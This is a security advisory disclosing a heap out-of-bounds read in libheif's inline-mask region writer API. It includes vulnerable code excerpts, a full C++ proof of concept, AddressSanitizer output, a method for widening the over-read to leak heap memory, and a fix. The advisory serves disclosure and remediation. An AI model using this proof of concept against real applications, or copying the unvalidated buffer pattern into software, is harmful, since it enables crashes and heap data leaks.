GHSA-p58j-h3vm-3fp5
CVE Information
Heap out-of-bounds read in libheif inline-mask region API (
heif_region_item_add_region_inline_mask_data/heif_region_get_mask_image)Summary
The public libheif region-writing API
heif_region_item_add_region_inline_mask_data()stores an inline mask region using a caller-supplied buffer length (mask_data_len) without validating it against the region geometry (width×height). A later call toheif_region_get_mask_image()(viaheif_region_get_inline_mask_image()) computes the number of mask bytes to read fromwidthandheight— i.e.ceil(width * height / 8)— and reads that many bytes from the stored buffer.When
mask_data_lenis smaller thanceil(width * height / 8), the read walks past the end of the heap allocation, producing a heap-buffer-overflow (out-of-bounds read). Because the bytes read are written into the returned monochrome mask image, the overflow can additionally disclose adjacent heap memory to the caller, not merely crash the process.Affected component
- Product: libheif
- Version tested: 1.23.1 (commit
d035da94)- File:
libheif/api/libheif/heif_regions.cc- Functions:
heif_region_item_add_region_inline_mask_data()— under-validated writeheif_region_get_inline_mask_image()— out-of-bounds read- Weakness: CWE-125 (Out-of-bounds Read); root cause CWE-131 (Incorrect Calculation of Buffer Size) / missing length validation.
Severity
- Impact: Denial of service (crash) and out-of-bounds heap read / information disclosure.
- Vector: Not reachable through file parsing (see Reachability below); reachable through the public writer API. Applications that build or re-emit region metadata from externally-influenced
width/height/ mask bytes are affected.- CVSS 3.1 (suggested):
AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L- 4.4 (Medium). AdjustCupward for applications that expose the returned mask image contents.Root cause
1. Writer accepts an undersized buffer
heif_region_item_add_region_inline_mask_data()(original, unpatched):heif_error heif_region_item_add_region_inline_mask_data(heif_region_item* item, int32_t x, int32_t y, uint32_t width, uint32_t height, const uint8_t* mask_data, size_t mask_data_len, heif_region** out_region) { auto region = std::make_shared<RegionGeometry_InlineMask>(); region->x = x; region->y = y; region->width = width; // attacker-declared geometry region->height = height; region->mask_data.resize(mask_data_len); // <-- trusts caller length verbatim std::memcpy(region->mask_data.data(), mask_data, region->mask_data.size()); item->region_item->add_region(region); ... }The stored buffer has exactly
mask_data_lenbytes. There is no check thatmask_data_len >= ceil(width * height / 8), and no check forwidth == 0,height == 0, ormask_data == nullptr.2. Reader derives the read length from the geometry, not the buffer
heif_region_get_inline_mask_image():uint32_t width = *out_width = mask->width; uint32_t height = *out_height = mask->height; uint8_t* mask_data = mask->mask_data.data(); ... uint64_t pixel_index = 0; for (uint32_t y = 0; y < height; y++) { for (uint32_t x = 0; x < width; x++) { uint64_t mask_byte = pixel_index / 8; uint8_t pixel_bit = uint8_t(0x80U >> (pixel_index % 8)); p[y * stride + x] = (mask_data[mask_byte] & pixel_bit) ? 255 : 0; // OOB read pixel_index++; } }The loop dereferences
mask_data[0 .. ceil(width*height/8) - 1]. Nothing ties that range tomask->mask_data.size(), so when the stored buffer is shorter, the read runs off the end of the allocation. Each out-of-bounds byte read is also folded into the returned mask image (p[...]), turning the over-read into a potential heap-memory leak.Reachability analysis
The equivalent file-parsing path is not vulnerable and must not be confused with this issue. RegionGeometry_InlineMask::parse()
inlibheif/region.cc` recomputes the canonical size and validates the input before copying:uint64_t bytes_for_mask = (static_cast<uint64_t>(width) * height + 7) / 8; ... if (data.size() - *dataOffset < bytes_for_mask) { // rejects short data return Error(heif_error_Invalid_input, heif_suberror_Invalid_region_data, "Insufficient data remaining for inline mask region data[]"); } mask_data.resize(bytes_for_mask); // canonical size std::copy(..., bytes_for_mask, mask_data.begin());Therefore a malicious
.heiffile cannot reach the overflow. The vulnerability is confined to the public writer API: any application that constructs an inline mask region with awidth/height/mask_data_lencombination derived from untrusted input (e.g. a metadata converter, an image editor that re-emits regions, or a transcoding pipeline copying region data between assets) will trigger it when the region is later rendered withheif_region_get_mask_image().Proof of concept
The PoC constructs an inline mask region declared as
64 × 3(ceil(64*3/8) = 24bytes required) while supplying a 1-byte mask buffer, then renders it. Aheif_region_itemis created directly to keep the PoC free of any codec/encoder dependency; in production the same object is returned byheif_image_handle_add_region_item().Proof of concept - full source (
poc_inline_mask_oob.cc)#include <cstdio> #include <cstdint> #include <memory> #include <vector> #include "libheif/heif.h" #include "libheif/heif_regions.h" #include "api_structs.h" // internal: struct heif_region_item / heif_region #include "region.h" // internal: class RegionItem int main() { const uint32_t width = 64; // declared geometry -> needs (64*3+7)/8 = 24 bytes const uint32_t height = 3; std::vector<uint8_t> mask_data(1, 0xff); // but only 1 byte is supplied // In a real application this heif_region_item is returned by // heif_image_handle_add_region_item(); built directly here to avoid a codec dependency. heif_region_item region_item; region_item.region_item = std::make_shared<RegionItem>(1, width, height); heif_region* region = nullptr; heif_error err = heif_region_item_add_region_inline_mask_data( ®ion_item, 20, 50, width, height, mask_data.data(), mask_data.size(), ®ion); // returns OK (bug #1) printf("[*] add_region_inline_mask_data -> code=%d (0=OK)\n", err.code); printf(" stored mask bytes = %zu, reader needs %u bytes\n", (size_t)mask_data.size(), (width * height + 7) / 8); if (err.code != 0 || region == nullptr) return 1; int32_t x = 0, y = 0; uint32_t w = 0, h = 0; heif_image* mask_img = nullptr; err = heif_region_get_mask_image(region, &x, &y, &w, &h, &mask_img); // OOB read (bug #2) if (mask_img) heif_image_release(mask_img); heif_region_release(region); return 0; }Build & run (AddressSanitizer)
c++ -fsanitize=address -g -std=c++20 \ -DHAVE_BIT -DHAVE_UNISTD_H -DHAVE_VISIBILITY -DIS_BIG_ENDIAN=0 \ -I build-asan -I libheif -I libheif/api -I include/libheif -I include \ poc/poc_inline_mask_oob.cc -o build-asan/poc_inline_mask_oob \ -L build-asan/libheif -lheif -Wl,-rpath,"$PWD/build-asan/libheif" ASAN_OPTIONS=detect_leaks=0 ./build-asan/poc_inline_mask_oobObserved output
[*] add_region_inline_mask_data -> code=0 (0=OK) stored mask bytes = 1, but reader will need 24 bytes [*] calling heif_region_get_mask_image() -> triggers OOB read... ================================================================= ==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000000051 READ of size 1 at 0x502000000051 thread T0 #0 heif_region_get_inline_mask_image libheif/api/libheif/heif_regions.cc:465 #1 heif_region_get_mask_image libheif/api/libheif/heif_regions.cc:482 #2 main poc/poc_inline_mask_oob.cc:67 0x502000000051 is located 0 bytes after 1-byte region [0x502000000050,0x502000000051) allocated by thread T0 here: #7 heif_region_item_add_region_inline_mask_data libheif/api/libheif/heif_regions.cc:417 SUMMARY: AddressSanitizer: heap-buffer-overflow libheif/api/libheif/heif_regions.cc:465 in heif_region_get_inline_mask_imageThe 1-byte allocation originates in the writer (
resize(mask_data_len), line 417); the out-of-bounds read occurs in the reader loop (line 465).Impact escalation (information disclosure)
The over-read is not limited to a single byte. Increasing
height(e.g.64 × 1000requires ~8000 bytes) causes the reader to consume thousands of bytes past the 1-byte allocation, and each byte is written into the returned mask image. An application that renders the mask and exposes it (saves it, displays it, or returns its pixels) therefore leaks adjacent heap contents. Without a sanitizer the over-read is silent — it reads neighbouring heap memory rather than crashing - which is why the flaw is easy to miss in normal testing.Suggested remediation
Validate the buffer length against the geometry (and reject degenerate inputs) inside
heif_region_item_add_region_inline_mask_data(), and store only the canonical number of bytes:if (mask_data == nullptr) return heif_error_null_pointer_argument; if (width == 0 || height == 0) return {heif_error_Invalid_input, heif_suberror_Invalid_region_data, "Inline mask image has zero width or height"}; uint64_t mask_size = (static_cast<uint64_t>(width) * height + 7) / 8; if (mask_size > std::numeric_limits<size_t>::max()) return {heif_error_Memory_allocation_error, heif_suberror_Security_limit_exceeded, "Inline mask size overflow"}; if (mask_data_len < static_cast<size_t>(mask_size)) return {heif_error_Invalid_input, heif_suberror_Invalid_region_data, "Inline mask data is too short"}; region->mask_data.resize(static_cast<size_t>(mask_size)); // canonical size only std::memcpy(region->mask_data.data(), mask_data, region->mask_data.size());This mirrors the validation already performed in the file-parsing path (
RegionGeometry_InlineMask::parse) and guarantees the reader'sceil(width*height/8)-byte scan always stays within the allocation.As defence in depth,
heif_region_get_inline_mask_image()should additionally clamp its reads tomask->mask_data.size().Timeline / disclosure
- Vulnerability identified in
heif_region_item_add_region_inline_mask_data().- Reproduced with AddressSanitizer against libheif 1.23.1 (commit
d035da94).- Reported to the maintainers via a private security advisory.